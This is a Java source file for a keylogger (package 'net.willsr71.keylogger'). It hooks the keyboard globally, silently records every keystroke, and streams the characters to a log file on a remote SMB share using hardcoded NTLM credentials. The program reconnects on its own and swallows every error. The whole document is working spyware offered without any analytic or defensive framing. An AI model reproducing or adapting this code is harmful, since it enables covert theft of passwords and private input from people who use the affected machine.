Main.java

package net.willsr71.keylogger;

import jcifs.smb.NtlmPasswordAuthentication;
import jcifs.smb.SmbException;
import jcifs.smb.SmbFile;
import jcifs.smb.SmbFileOutputStream;
import lc.kra.system.keyboard.GlobalKeyboardHook;
import lc.kra.system.keyboard.event.GlobalKeyAdapter;
import lc.kra.system.keyboard.event.GlobalKeyEvent;

import java.io.IOException;
import java.net.MalformedURLException;
import java.net.UnknownHostException;
import java.util.Date;

public class Main {
    public static final String user = "willsr71:**********";
    public static final String path = "smb://enterprise/logger/log-" + new Date().getTime() + ".txt";

    public static boolean run = true;

    public static SmbFileOutputStream outputStream;

    public static void main(String[] args) {
        GlobalKeyboardHook keyboardHook = new GlobalKeyboardHook();

        keyboardHook.addKeyListener(new GlobalKeyAdapter() {
            @Override
            public void keyPressed(GlobalKeyEvent event) {
                if (outputStream == null || !outputStream.isOpen()) {
                    reconnect();
                }

                try {
                    outputStream.write(event.getKeyChar());
                } catch (IOException | NullPointerException e) {
                    /* nothing to do here */
                }
            }
        });

        try {
            while (run) {
                Thread.sleep(128);
            }
        } catch (InterruptedException e) {
            /* nothing to do here */
        } finally {
            keyboardHook.shutdownHook();
        }
    }

    public static void reconnect() {
        try {
            NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(user);
            SmbFile smbFile = new SmbFile(path, auth);
            if (smbFile.exists()) {
                smbFile.createNewFile();
            }
            outputStream = new SmbFileOutputStream(smbFile);
        } catch (MalformedURLException | SmbException | UnknownHostException ignored) {
            /* nothing to do here */
        }
    }
}